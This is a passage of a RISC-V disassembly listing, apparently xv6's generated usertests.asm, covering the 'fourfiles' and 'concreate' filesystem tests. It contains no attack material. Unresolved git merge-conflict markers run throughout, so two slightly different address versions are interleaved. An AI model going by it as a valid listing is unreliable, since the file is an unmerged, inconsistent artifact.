42e6: 00093983 ld s3,0(s2)
unlink(fname);
42ea: 854e mv a0,s3
42ec: 00001097 auipc ra,0x1
42f0: 230080e7 jalr 560(ra) # 551c <unlink>
pid = fork();
42f4: 00001097 auipc ra,0x1
42f8: 1d0080e7 jalr 464(ra) # 54c4 <fork>
if (pid < 0) {
42fc: 04054463 bltz a0,4344 <fourfiles+0xba>
if (pid == 0) {
4300: c12d beqz a0,4362 <fourfiles+0xd8>
for (pi = 0; pi < NCHILD; pi++) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4302: 2485 addiw s1,s1,1
4304: 0921 addi s2,s2,8
4306: ff4490e3 bne s1,s4,42e6 <fourfiles+0x5c>
430a: 4491 li s1,4
<<<<<<< HEAD
430c: f6c40513 addi a0,s0,-148
4310: 00001097 auipc ra,0x1
4314: 1c4080e7 jalr 452(ra) # 54d4 <wait>
4318: f6c42b03 lw s6,-148(s0)
431c: 0c0b1e63 bnez s6,43f8 <fourfiles+0x16e>
4320: 34fd addiw s1,s1,-1
4322: f4ed bnez s1,430c <fourfiles+0x82>
4324: 03000b93 li s7,48
4328: 00007a17 auipc s4,0x7
432c: 6e8a0a13 addi s4,s4,1768 # ba10 <buf>
4330: 00007a97 auipc s5,0x7
4334: 6e1a8a93 addi s5,s5,1761 # ba11 <buf+0x1>
4338: 6d85 lui s11,0x1
433a: 770d8d93 addi s11,s11,1904 # 1770 <pipe1+0xc8>
433e: 03400d13 li s10,52
4342: aa1d j 4478 <fourfiles+0x1ee>
4344: f5843583 ld a1,-168(s0)
4348: 00002517 auipc a0,0x2
434c: 5d850513 addi a0,a0,1496 # 6920 <l_free+0xeb8>
4350: 00001097 auipc ra,0x1
4354: 4f6080e7 jalr 1270(ra) # 5846 <printf>
4358: 4505 li a0,1
435a: 00001097 auipc ra,0x1
435e: 172080e7 jalr 370(ra) # 54cc <exit>
=======
wait(&xstatus);
430c: f6c40513 addi a0,s0,-148
4310: 00001097 auipc ra,0x1
4314: 1c4080e7 jalr 452(ra) # 54d4 <wait>
if (xstatus != 0)
4318: f6c42b03 lw s6,-148(s0)
431c: 0c0b1e63 bnez s6,43f8 <fourfiles+0x16e>
for (pi = 0; pi < NCHILD; pi++) {
4320: 34fd addiw s1,s1,-1
4322: f4ed bnez s1,430c <fourfiles+0x82>
4324: 03000b93 li s7,48
while ((n = read(fd, buf, sizeof(buf))) > 0) {
4328: 00007a17 auipc s4,0x7
432c: 690a0a13 addi s4,s4,1680 # b9b8 <buf>
4330: 00007a97 auipc s5,0x7
4334: 689a8a93 addi s5,s5,1673 # b9b9 <buf+0x1>
if (total != N * SZ) {
4338: 6d85 lui s11,0x1
433a: 770d8d93 addi s11,s11,1904 # 1770 <pipe1+0xc8>
for (i = 0; i < NCHILD; i++) {
433e: 03400d13 li s10,52
4342: aa1d j 4478 <fourfiles+0x1ee>
printf("fork failed\n", s);
4344: f5843583 ld a1,-168(s0)
4348: 00002517 auipc a0,0x2
434c: 5d850513 addi a0,a0,1496 # 6920 <l_free+0xeba>
4350: 00001097 auipc ra,0x1
4354: 4f4080e7 jalr 1268(ra) # 5844 <printf>
exit(1);
4358: 4505 li a0,1
435a: 00001097 auipc ra,0x1
435e: 172080e7 jalr 370(ra) # 54cc <exit>
fd = open(fname, O_CREATE | O_RDWR);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4362: 20200593 li a1,514
4366: 854e mv a0,s3
4368: 00001097 auipc ra,0x1
436c: 1a4080e7 jalr 420(ra) # 550c <open>
4370: 892a mv s2,a0
<<<<<<< HEAD
4372: 04054763 bltz a0,43c0 <fourfiles+0x136>
4376: 1f400613 li a2,500
437a: 0304859b addiw a1,s1,48
437e: 00007517 auipc a0,0x7
4382: 69250513 addi a0,a0,1682 # ba10 <buf>
4386: 00001097 auipc ra,0x1
438a: f4a080e7 jalr -182(ra) # 52d0 <memset>
438e: 44b1 li s1,12
4390: 00007997 auipc s3,0x7
4394: 68098993 addi s3,s3,1664 # ba10 <buf>
=======
if (fd < 0) {
4372: 04054763 bltz a0,43c0 <fourfiles+0x136>
memset(buf, '0' + pi, SZ);
4376: 1f400613 li a2,500
437a: 0304859b addiw a1,s1,48
437e: 00007517 auipc a0,0x7
4382: 63a50513 addi a0,a0,1594 # b9b8 <buf>
4386: 00001097 auipc ra,0x1
438a: f4a080e7 jalr -182(ra) # 52d0 <memset>
438e: 44b1 li s1,12
if ((n = write(fd, buf, SZ)) != SZ) {
4390: 00007997 auipc s3,0x7
4394: 62898993 addi s3,s3,1576 # b9b8 <buf>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4398: 1f400613 li a2,500
439c: 85ce mv a1,s3
439e: 854a mv a0,s2
43a0: 00001097 auipc ra,0x1
43a4: 14c080e7 jalr 332(ra) # 54ec <write>
43a8: 85aa mv a1,a0
43aa: 1f400793 li a5,500
43ae: 02f51863 bne a0,a5,43de <fourfiles+0x154>
<<<<<<< HEAD
43b2: 34fd addiw s1,s1,-1
43b4: f0f5 bnez s1,4398 <fourfiles+0x10e>
43b6: 4501 li a0,0
43b8: 00001097 auipc ra,0x1
43bc: 114080e7 jalr 276(ra) # 54cc <exit>
43c0: f5843583 ld a1,-168(s0)
43c4: 00003517 auipc a0,0x3
43c8: 4b450513 addi a0,a0,1204 # 7878 <l_free+0x1e10>
43cc: 00001097 auipc ra,0x1
43d0: 47a080e7 jalr 1146(ra) # 5846 <printf>
43d4: 4505 li a0,1
43d6: 00001097 auipc ra,0x1
43da: 0f6080e7 jalr 246(ra) # 54cc <exit>
43de: 00003517 auipc a0,0x3
43e2: 4aa50513 addi a0,a0,1194 # 7888 <l_free+0x1e20>
43e6: 00001097 auipc ra,0x1
43ea: 460080e7 jalr 1120(ra) # 5846 <printf>
43ee: 4505 li a0,1
43f0: 00001097 auipc ra,0x1
43f4: 0dc080e7 jalr 220(ra) # 54cc <exit>
43f8: 855a mv a0,s6
43fa: 00001097 auipc ra,0x1
43fe: 0d2080e7 jalr 210(ra) # 54cc <exit>
4402: f5843583 ld a1,-168(s0)
4406: 00003517 auipc a0,0x3
440a: 49a50513 addi a0,a0,1178 # 78a0 <l_free+0x1e38>
440e: 00001097 auipc ra,0x1
4412: 438080e7 jalr 1080(ra) # 5846 <printf>
4416: 4505 li a0,1
4418: 00001097 auipc ra,0x1
441c: 0b4080e7 jalr 180(ra) # 54cc <exit>
4420: 00a9093b addw s2,s2,a0
=======
for (i = 0; i < N; i++) {
43b2: 34fd addiw s1,s1,-1
43b4: f0f5 bnez s1,4398 <fourfiles+0x10e>
exit(0);
43b6: 4501 li a0,0
43b8: 00001097 auipc ra,0x1
43bc: 114080e7 jalr 276(ra) # 54cc <exit>
printf("create failed\n", s);
43c0: f5843583 ld a1,-168(s0)
43c4: 00003517 auipc a0,0x3
43c8: 4b450513 addi a0,a0,1204 # 7878 <l_free+0x1e12>
43cc: 00001097 auipc ra,0x1
43d0: 478080e7 jalr 1144(ra) # 5844 <printf>
exit(1);
43d4: 4505 li a0,1
43d6: 00001097 auipc ra,0x1
43da: 0f6080e7 jalr 246(ra) # 54cc <exit>
printf("write failed %d\n", n);
43de: 00003517 auipc a0,0x3
43e2: 4aa50513 addi a0,a0,1194 # 7888 <l_free+0x1e22>
43e6: 00001097 auipc ra,0x1
43ea: 45e080e7 jalr 1118(ra) # 5844 <printf>
exit(1);
43ee: 4505 li a0,1
43f0: 00001097 auipc ra,0x1
43f4: 0dc080e7 jalr 220(ra) # 54cc <exit>
exit(xstatus);
43f8: 855a mv a0,s6
43fa: 00001097 auipc ra,0x1
43fe: 0d2080e7 jalr 210(ra) # 54cc <exit>
printf("wrong char\n", s);
4402: f5843583 ld a1,-168(s0)
4406: 00003517 auipc a0,0x3
440a: 49a50513 addi a0,a0,1178 # 78a0 <l_free+0x1e3a>
440e: 00001097 auipc ra,0x1
4412: 436080e7 jalr 1078(ra) # 5844 <printf>
exit(1);
4416: 4505 li a0,1
4418: 00001097 auipc ra,0x1
441c: 0b4080e7 jalr 180(ra) # 54cc <exit>
total += n;
4420: 00a9093b addw s2,s2,a0
while ((n = read(fd, buf, sizeof(buf))) > 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4424: 660d lui a2,0x3
4426: 85d2 mv a1,s4
4428: 854e mv a0,s3
442a: 00001097 auipc ra,0x1
442e: 0ba080e7 jalr 186(ra) # 54e4 <read>
4432: 02a05363 blez a0,4458 <fourfiles+0x1ce>
4436: 00007797 auipc a5,0x7
<<<<<<< HEAD
443a: 5da78793 addi a5,a5,1498 # ba10 <buf>
=======
443a: 58278793 addi a5,a5,1410 # b9b8 <buf>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
443e: fff5069b addiw a3,a0,-1
4442: 1682 slli a3,a3,0x20
4444: 9281 srli a3,a3,0x20
4446: 96d6 add a3,a3,s5
<<<<<<< HEAD
4448: 0007c703 lbu a4,0(a5)
444c: fa971be3 bne a4,s1,4402 <fourfiles+0x178>
4450: 0785 addi a5,a5,1
4452: fed79be3 bne a5,a3,4448 <fourfiles+0x1be>
4456: b7e9 j 4420 <fourfiles+0x196>
4458: 854e mv a0,s3
445a: 00001097 auipc ra,0x1
445e: 09a080e7 jalr 154(ra) # 54f4 <close>
4462: 03b91863 bne s2,s11,4492 <fourfiles+0x208>
4466: 8566 mv a0,s9
4468: 00001097 auipc ra,0x1
446c: 0b4080e7 jalr 180(ra) # 551c <unlink>
4470: 0c21 addi s8,s8,8
4472: 2b85 addiw s7,s7,1
4474: 03ab8d63 beq s7,s10,44ae <fourfiles+0x224>
4478: 000c3c83 ld s9,0(s8)
=======
if (buf[j] != '0' + i) {
4448: 0007c703 lbu a4,0(a5)
444c: fa971be3 bne a4,s1,4402 <fourfiles+0x178>
for (j = 0; j < n; j++) {
4450: 0785 addi a5,a5,1
4452: fed79be3 bne a5,a3,4448 <fourfiles+0x1be>
4456: b7e9 j 4420 <fourfiles+0x196>
close(fd);
4458: 854e mv a0,s3
445a: 00001097 auipc ra,0x1
445e: 09a080e7 jalr 154(ra) # 54f4 <close>
if (total != N * SZ) {
4462: 03b91863 bne s2,s11,4492 <fourfiles+0x208>
unlink(fname);
4466: 8566 mv a0,s9
4468: 00001097 auipc ra,0x1
446c: 0b4080e7 jalr 180(ra) # 551c <unlink>
for (i = 0; i < NCHILD; i++) {
4470: 0c21 addi s8,s8,8
4472: 2b85 addiw s7,s7,1
4474: 03ab8d63 beq s7,s10,44ae <fourfiles+0x224>
fname = names[i];
4478: 000c3c83 ld s9,0(s8)
fd = open(fname, 0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
447c: 4581 li a1,0
447e: 8566 mv a0,s9
4480: 00001097 auipc ra,0x1
4484: 08c080e7 jalr 140(ra) # 550c <open>
4488: 89aa mv s3,a0
<<<<<<< HEAD
448a: 895a mv s2,s6
448c: 000b849b sext.w s1,s7
4490: bf51 j 4424 <fourfiles+0x19a>
4492: 85ca mv a1,s2
4494: 00003517 auipc a0,0x3
4498: 41c50513 addi a0,a0,1052 # 78b0 <l_free+0x1e48>
449c: 00001097 auipc ra,0x1
44a0: 3aa080e7 jalr 938(ra) # 5846 <printf>
44a4: 4505 li a0,1
44a6: 00001097 auipc ra,0x1
44aa: 026080e7 jalr 38(ra) # 54cc <exit>
=======
total = 0;
448a: 895a mv s2,s6
if (buf[j] != '0' + i) {
448c: 000b849b sext.w s1,s7
while ((n = read(fd, buf, sizeof(buf))) > 0) {
4490: bf51 j 4424 <fourfiles+0x19a>
printf("wrong length %d\n", total);
4492: 85ca mv a1,s2
4494: 00003517 auipc a0,0x3
4498: 41c50513 addi a0,a0,1052 # 78b0 <l_free+0x1e4a>
449c: 00001097 auipc ra,0x1
44a0: 3a8080e7 jalr 936(ra) # 5844 <printf>
exit(1);
44a4: 4505 li a0,1
44a6: 00001097 auipc ra,0x1
44aa: 026080e7 jalr 38(ra) # 54cc <exit>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
44ae: 70aa ld ra,168(sp)
44b0: 740a ld s0,160(sp)
44b2: 64ea ld s1,152(sp)
44b4: 694a ld s2,144(sp)
44b6: 69aa ld s3,136(sp)
44b8: 6a0a ld s4,128(sp)
44ba: 7ae6 ld s5,120(sp)
44bc: 7b46 ld s6,112(sp)
44be: 7ba6 ld s7,104(sp)
44c0: 7c06 ld s8,96(sp)
44c2: 6ce6 ld s9,88(sp)
44c4: 6d46 ld s10,80(sp)
44c6: 6da6 ld s11,72(sp)
44c8: 614d addi sp,sp,176
44ca: 8082 ret
00000000000044cc <concreate>:
<<<<<<< HEAD
=======
void concreate(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
44cc: 7135 addi sp,sp,-160
44ce: ed06 sd ra,152(sp)
44d0: e922 sd s0,144(sp)
44d2: e526 sd s1,136(sp)
44d4: e14a sd s2,128(sp)
44d6: fcce sd s3,120(sp)
44d8: f8d2 sd s4,112(sp)
44da: f4d6 sd s5,104(sp)
44dc: f0da sd s6,96(sp)
44de: ecde sd s7,88(sp)
44e0: 1100 addi s0,sp,160
44e2: 89aa mv s3,a0
<<<<<<< HEAD
44e4: 04300793 li a5,67
44e8: faf40423 sb a5,-88(s0)
44ec: fa040523 sb zero,-86(s0)
44f0: 4901 li s2,0
44f2: 4b0d li s6,3
44f4: 4a85 li s5,1
44f6: 00003b97 auipc s7,0x3
44fa: 3d2b8b93 addi s7,s7,978 # 78c8 <l_free+0x1e60>
44fe: 02800a13 li s4,40
4502: acc1 j 47d2 <concreate+0x306>
=======
file[0] = 'C';
44e4: 04300793 li a5,67
44e8: faf40423 sb a5,-88(s0)
file[2] = '\0';
44ec: fa040523 sb zero,-86(s0)
for (i = 0; i < N; i++) {
44f0: 4901 li s2,0
if (pid && (i % 3) == 1) {
44f2: 4b0d li s6,3
44f4: 4a85 li s5,1
link("C0", file);
44f6: 00003b97 auipc s7,0x3
44fa: 3d2b8b93 addi s7,s7,978 # 78c8 <l_free+0x1e62>
for (i = 0; i < N; i++) {
44fe: 02800a13 li s4,40
4502: acc1 j 47d2 <concreate+0x306>
link("C0", file);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4504: fa840593 addi a1,s0,-88
4508: 855e mv a0,s7
450a: 00001097 auipc ra,0x1
450e: 022080e7 jalr 34(ra) # 552c <link>
<<<<<<< HEAD
4512: a45d j 47b8 <concreate+0x2ec>
=======
if (pid == 0) {
4512: a45d j 47b8 <concreate+0x2ec>
} else if (pid == 0 && (i % 5) == 1) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4514: 4795 li a5,5
4516: 02f9693b remw s2,s2,a5
451a: 4785 li a5,1
451c: 02f90b63 beq s2,a5,4552 <concreate+0x86>
<<<<<<< HEAD
=======
fd = open(file, O_CREATE | O_RDWR);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4520: 20200593 li a1,514
4524: fa840513 addi a0,s0,-88
4528: 00001097 auipc ra,0x1
452c: fe4080e7 jalr -28(ra) # 550c <open>
<<<<<<< HEAD
4530: 26055b63 bgez a0,47a6 <concreate+0x2da>
4534: fa840593 addi a1,s0,-88
4538: 00003517 auipc a0,0x3
453c: 39850513 addi a0,a0,920 # 78d0 <l_free+0x1e68>
4540: 00001097 auipc ra,0x1
4544: 306080e7 jalr 774(ra) # 5846 <printf>
4548: 4505 li a0,1
454a: 00001097 auipc ra,0x1
454e: f82080e7 jalr -126(ra) # 54cc <exit>
4552: fa840593 addi a1,s0,-88
4556: 00003517 auipc a0,0x3
455a: 37250513 addi a0,a0,882 # 78c8 <l_free+0x1e60>
455e: 00001097 auipc ra,0x1
4562: fce080e7 jalr -50(ra) # 552c <link>
4566: 4501 li a0,0
4568: 00001097 auipc ra,0x1
456c: f64080e7 jalr -156(ra) # 54cc <exit>
4570: 4505 li a0,1
4572: 00001097 auipc ra,0x1
4576: f5a080e7 jalr -166(ra) # 54cc <exit>
=======
if (fd < 0) {
4530: 26055b63 bgez a0,47a6 <concreate+0x2da>
printf("concreate create %s failed\n", file);
4534: fa840593 addi a1,s0,-88
4538: 00003517 auipc a0,0x3
453c: 39850513 addi a0,a0,920 # 78d0 <l_free+0x1e6a>
4540: 00001097 auipc ra,0x1
4544: 304080e7 jalr 772(ra) # 5844 <printf>
exit(1);
4548: 4505 li a0,1
454a: 00001097 auipc ra,0x1
454e: f82080e7 jalr -126(ra) # 54cc <exit>
link("C0", file);
4552: fa840593 addi a1,s0,-88
4556: 00003517 auipc a0,0x3
455a: 37250513 addi a0,a0,882 # 78c8 <l_free+0x1e62>
455e: 00001097 auipc ra,0x1
4562: fce080e7 jalr -50(ra) # 552c <link>
exit(0);
4566: 4501 li a0,0
4568: 00001097 auipc ra,0x1
456c: f64080e7 jalr -156(ra) # 54cc <exit>
exit(1);
4570: 4505 li a0,1
4572: 00001097 auipc ra,0x1
4576: f5a080e7 jalr -166(ra) # 54cc <exit>
memset(fa, 0, sizeof(fa));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
457a: 02800613 li a2,40
457e: 4581 li a1,0
4580: f8040513 addi a0,s0,-128
4584: 00001097 auipc ra,0x1
4588: d4c080e7 jalr -692(ra) # 52d0 <memset>
<<<<<<< HEAD
458c: 4581 li a1,0
458e: 00002517 auipc a0,0x2
4592: e0250513 addi a0,a0,-510 # 6390 <l_free+0x928>
4596: 00001097 auipc ra,0x1
459a: f76080e7 jalr -138(ra) # 550c <open>
459e: 892a mv s2,a0
45a0: 8aa6 mv s5,s1
45a2: 04300a13 li s4,67
45a6: 02700b13 li s6,39
45aa: 4b85 li s7,1
=======
fd = open(".", 0);
458c: 4581 li a1,0
458e: 00002517 auipc a0,0x2
4592: e0250513 addi a0,a0,-510 # 6390 <l_free+0x92a>
4596: 00001097 auipc ra,0x1
459a: f76080e7 jalr -138(ra) # 550c <open>
459e: 892a mv s2,a0
n = 0;
45a0: 8aa6 mv s5,s1
if (de.name[0] == 'C' && de.name[2] == '\0') {
45a2: 04300a13 li s4,67
if (i < 0 || i >= sizeof(fa)) {
45a6: 02700b13 li s6,39
fa[i] = 1;
45aa: 4b85 li s7,1
while (read(fd, &de, sizeof(de)) > 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
45ac: 4641 li a2,16
45ae: f7040593 addi a1,s0,-144
45b2: 854a mv a0,s2
45b4: 00001097 auipc ra,0x1
45b8: f30080e7 jalr -208(ra) # 54e4 <read>
45bc: 08a05163 blez a0,463e <concreate+0x172>
<<<<<<< HEAD
45c0: f7045783 lhu a5,-144(s0)
45c4: d7e5 beqz a5,45ac <concreate+0xe0>
=======
if (de.inum == 0)
45c0: f7045783 lhu a5,-144(s0)
45c4: d7e5 beqz a5,45ac <concreate+0xe0>
if (de.name[0] == 'C' && de.name[2] == '\0') {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
45c6: f7244783 lbu a5,-142(s0)
45ca: ff4791e3 bne a5,s4,45ac <concreate+0xe0>
45ce: f7444783 lbu a5,-140(s0)
45d2: ffe9 bnez a5,45ac <concreate+0xe0>
<<<<<<< HEAD
45d4: f7344783 lbu a5,-141(s0)
45d8: fd07879b addiw a5,a5,-48
45dc: 0007871b sext.w a4,a5
45e0: 00eb6f63 bltu s6,a4,45fe <concreate+0x132>
=======
i = de.name[1] - '0';
45d4: f7344783 lbu a5,-141(s0)
45d8: fd07879b addiw a5,a5,-48
45dc: 0007871b sext.w a4,a5
if (i < 0 || i >= sizeof(fa)) {
45e0: 00eb6f63 bltu s6,a4,45fe <concreate+0x132>
if (fa[i]) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
45e4: fb040793 addi a5,s0,-80
45e8: 97ba add a5,a5,a4
45ea: fd07c783 lbu a5,-48(a5)
45ee: eb85 bnez a5,461e <concreate+0x152>
<<<<<<< HEAD
45f0: fb040793 addi a5,s0,-80
45f4: 973e add a4,a4,a5
45f6: fd770823 sb s7,-48(a4) # fd0 <bigdir+0x104>
45fa: 2a85 addiw s5,s5,1
45fc: bf45 j 45ac <concreate+0xe0>
45fe: f7240613 addi a2,s0,-142
4602: 85ce mv a1,s3
4604: 00003517 auipc a0,0x3
4608: 2ec50513 addi a0,a0,748 # 78f0 <l_free+0x1e88>
460c: 00001097 auipc ra,0x1
4610: 23a080e7 jalr 570(ra) # 5846 <printf>
4614: 4505 li a0,1
4616: 00001097 auipc ra,0x1
461a: eb6080e7 jalr -330(ra) # 54cc <exit>
461e: f7240613 addi a2,s0,-142
4622: 85ce mv a1,s3
4624: 00003517 auipc a0,0x3
4628: 2ec50513 addi a0,a0,748 # 7910 <l_free+0x1ea8>
462c: 00001097 auipc ra,0x1
4630: 21a080e7 jalr 538(ra) # 5846 <printf>
4634: 4505 li a0,1
4636: 00001097 auipc ra,0x1
463a: e96080e7 jalr -362(ra) # 54cc <exit>
463e: 854a mv a0,s2
4640: 00001097 auipc ra,0x1
4644: eb4080e7 jalr -332(ra) # 54f4 <close>
4648: 02800793 li a5,40
464c: 00fa9763 bne s5,a5,465a <concreate+0x18e>
4650: 4a8d li s5,3
4652: 4b05 li s6,1
4654: 02800a13 li s4,40
4658: a8c9 j 472a <concreate+0x25e>
465a: 85ce mv a1,s3
465c: 00003517 auipc a0,0x3
4660: 2dc50513 addi a0,a0,732 # 7938 <l_free+0x1ed0>
4664: 00001097 auipc ra,0x1
4668: 1e2080e7 jalr 482(ra) # 5846 <printf>
466c: 4505 li a0,1
466e: 00001097 auipc ra,0x1
4672: e5e080e7 jalr -418(ra) # 54cc <exit>
4676: 85ce mv a1,s3
4678: 00002517 auipc a0,0x2
467c: eb850513 addi a0,a0,-328 # 6530 <l_free+0xac8>
4680: 00001097 auipc ra,0x1
4684: 1c6080e7 jalr 454(ra) # 5846 <printf>
4688: 4505 li a0,1
468a: 00001097 auipc ra,0x1
468e: e42080e7 jalr -446(ra) # 54cc <exit>
=======
fa[i] = 1;
45f0: fb040793 addi a5,s0,-80
45f4: 973e add a4,a4,a5
45f6: fd770823 sb s7,-48(a4) # fd0 <bigdir+0x104>
n++;
45fa: 2a85 addiw s5,s5,1
45fc: bf45 j 45ac <concreate+0xe0>
printf("%s: concreate weird file %s\n", s, de.name);
45fe: f7240613 addi a2,s0,-142
4602: 85ce mv a1,s3
4604: 00003517 auipc a0,0x3
4608: 2ec50513 addi a0,a0,748 # 78f0 <l_free+0x1e8a>
460c: 00001097 auipc ra,0x1
4610: 238080e7 jalr 568(ra) # 5844 <printf>
exit(1);
4614: 4505 li a0,1
4616: 00001097 auipc ra,0x1
461a: eb6080e7 jalr -330(ra) # 54cc <exit>
printf("%s: concreate duplicate file %s\n", s, de.name);
461e: f7240613 addi a2,s0,-142
4622: 85ce mv a1,s3
4624: 00003517 auipc a0,0x3
4628: 2ec50513 addi a0,a0,748 # 7910 <l_free+0x1eaa>
462c: 00001097 auipc ra,0x1
4630: 218080e7 jalr 536(ra) # 5844 <printf>
exit(1);
4634: 4505 li a0,1
4636: 00001097 auipc ra,0x1
463a: e96080e7 jalr -362(ra) # 54cc <exit>
close(fd);
463e: 854a mv a0,s2
4640: 00001097 auipc ra,0x1
4644: eb4080e7 jalr -332(ra) # 54f4 <close>
if (n != N) {
4648: 02800793 li a5,40
464c: 00fa9763 bne s5,a5,465a <concreate+0x18e>
if (((i % 3) == 0 && pid == 0) || ((i % 3) == 1 && pid != 0)) {
4650: 4a8d li s5,3
4652: 4b05 li s6,1
for (i = 0; i < N; i++) {
4654: 02800a13 li s4,40
4658: a8c9 j 472a <concreate+0x25e>
printf("%s: concreate not enough files in directory listing\n", s);
465a: 85ce mv a1,s3
465c: 00003517 auipc a0,0x3
4660: 2dc50513 addi a0,a0,732 # 7938 <l_free+0x1ed2>
4664: 00001097 auipc ra,0x1
4668: 1e0080e7 jalr 480(ra) # 5844 <printf>
exit(1);
466c: 4505 li a0,1
466e: 00001097 auipc ra,0x1
4672: e5e080e7 jalr -418(ra) # 54cc <exit>
printf("%s: fork failed\n", s);
4676: 85ce mv a1,s3
4678: 00002517 auipc a0,0x2
467c: eb850513 addi a0,a0,-328 # 6530 <l_free+0xaca>
4680: 00001097 auipc ra,0x1
4684: 1c4080e7 jalr 452(ra) # 5844 <printf>
exit(1);
4688: 4505 li a0,1
468a: 00001097 auipc ra,0x1
468e: e42080e7 jalr -446(ra) # 54cc <exit>
close(open(file, 0));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4692: 4581 li a1,0
4694: fa840513 addi a0,s0,-88
4698: 00001097 auipc ra,0x1
469c: e74080e7 jalr -396(ra) # 550c <open>
46a0: 00001097 auipc ra,0x1
46a4: e54080e7 jalr -428(ra) # 54f4 <close>
<<<<<<< HEAD
=======
close(open(file, 0));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
46a8: 4581 li a1,0
46aa: fa840513 addi a0,s0,-88
46ae: 00001097 auipc ra,0x1
46b2: e5e080e7 jalr -418(ra) # 550c <open>
46b6: 00001097 auipc ra,0x1
46ba: e3e080e7 jalr -450(ra) # 54f4 <close>
<<<<<<< HEAD
=======
close(open(file, 0));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
46be: 4581 li a1,0
46c0: fa840513 addi a0,s0,-88
46c4: 00001097 auipc ra,0x1
46c8: e48080e7 jalr -440(ra) # 550c <open>
46cc: 00001097 auipc ra,0x1
46d0: e28080e7 jalr -472(ra) # 54f4 <close>
<<<<<<< HEAD
=======
close(open(file, 0));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
46d4: 4581 li a1,0
46d6: fa840513 addi a0,s0,-88
46da: 00001097 auipc ra,0x1
46de: e32080e7 jalr -462(ra) # 550c <open>
46e2: 00001097 auipc ra,0x1
46e6: e12080e7 jalr -494(ra) # 54f4 <close>
<<<<<<< HEAD
=======
close(open(file, 0));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
46ea: 4581 li a1,0
46ec: fa840513 addi a0,s0,-88
46f0: 00001097 auipc ra,0x1
46f4: e1c080e7 jalr -484(ra) # 550c <open>
46f8: 00001097 auipc ra,0x1
46fc: dfc080e7 jalr -516(ra) # 54f4 <close>
<<<<<<< HEAD
=======
close(open(file, 0));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4700: 4581 li a1,0
4702: fa840513 addi a0,s0,-88
4706: 00001097 auipc ra,0x1
470a: e06080e7 jalr -506(ra) # 550c <open>
470e: 00001097 auipc ra,0x1
4712: de6080e7 jalr -538(ra) # 54f4 <close>
<<<<<<< HEAD
4716: 08090363 beqz s2,479c <concreate+0x2d0>
471a: 4501 li a0,0
471c: 00001097 auipc ra,0x1
4720: db8080e7 jalr -584(ra) # 54d4 <wait>
4724: 2485 addiw s1,s1,1
4726: 0f448563 beq s1,s4,4810 <concreate+0x344>
472a: 0304879b addiw a5,s1,48
472e: faf404a3 sb a5,-87(s0)
4732: 00001097 auipc ra,0x1
4736: d92080e7 jalr -622(ra) # 54c4 <fork>
473a: 892a mv s2,a0
473c: f2054de3 bltz a0,4676 <concreate+0x1aa>
=======
if (pid == 0)
4716: 08090363 beqz s2,479c <concreate+0x2d0>
wait(0);
471a: 4501 li a0,0
471c: 00001097 auipc ra,0x1
4720: db8080e7 jalr -584(ra) # 54d4 <wait>
for (i = 0; i < N; i++) {
4724: 2485 addiw s1,s1,1
4726: 0f448563 beq s1,s4,4810 <concreate+0x344>
file[1] = '0' + i;
472a: 0304879b addiw a5,s1,48
472e: faf404a3 sb a5,-87(s0)
pid = fork();
4732: 00001097 auipc ra,0x1
4736: d92080e7 jalr -622(ra) # 54c4 <fork>
473a: 892a mv s2,a0
if (pid < 0) {
473c: f2054de3 bltz a0,4676 <concreate+0x1aa>
if (((i % 3) == 0 && pid == 0) || ((i % 3) == 1 && pid != 0)) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4740: 0354e73b remw a4,s1,s5
4744: 00a767b3 or a5,a4,a0
4748: 2781 sext.w a5,a5
474a: d7a1 beqz a5,4692 <concreate+0x1c6>
474c: 01671363 bne a4,s6,4752 <concreate+0x286>
4750: f129 bnez a0,4692 <concreate+0x1c6>
<<<<<<< HEAD
4752: fa840513 addi a0,s0,-88
4756: 00001097 auipc ra,0x1
475a: dc6080e7 jalr -570(ra) # 551c <unlink>
475e: fa840513 addi a0,s0,-88
4762: 00001097 auipc ra,0x1
4766: dba080e7 jalr -582(ra) # 551c <unlink>
476a: fa840513 addi a0,s0,-88
476e: 00001097 auipc ra,0x1
4772: dae080e7 jalr -594(ra) # 551c <unlink>
4776: fa840513 addi a0,s0,-88
477a: 00001097 auipc ra,0x1
477e: da2080e7 jalr -606(ra) # 551c <unlink>
4782: fa840513 addi a0,s0,-88
4786: 00001097 auipc ra,0x1
478a: d96080e7 jalr -618(ra) # 551c <unlink>
=======
unlink(file);
4752: fa840513 addi a0,s0,-88
4756: 00001097 auipc ra,0x1
475a: dc6080e7 jalr -570(ra) # 551c <unlink>
unlink(file);
475e: fa840513 addi a0,s0,-88
4762: 00001097 auipc ra,0x1
4766: dba080e7 jalr -582(ra) # 551c <unlink>
unlink(file);
476a: fa840513 addi a0,s0,-88
476e: 00001097 auipc ra,0x1
4772: dae080e7 jalr -594(ra) # 551c <unlink>
unlink(file);
4776: fa840513 addi a0,s0,-88
477a: 00001097 auipc ra,0x1
477e: da2080e7 jalr -606(ra) # 551c <unlink>
unlink(file);
4782: fa840513 addi a0,s0,-88
4786: 00001097 auipc ra,0x1
478a: d96080e7 jalr -618(ra) # 551c <unlink>
unlink(file);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
478e: fa840513 addi a0,s0,-88
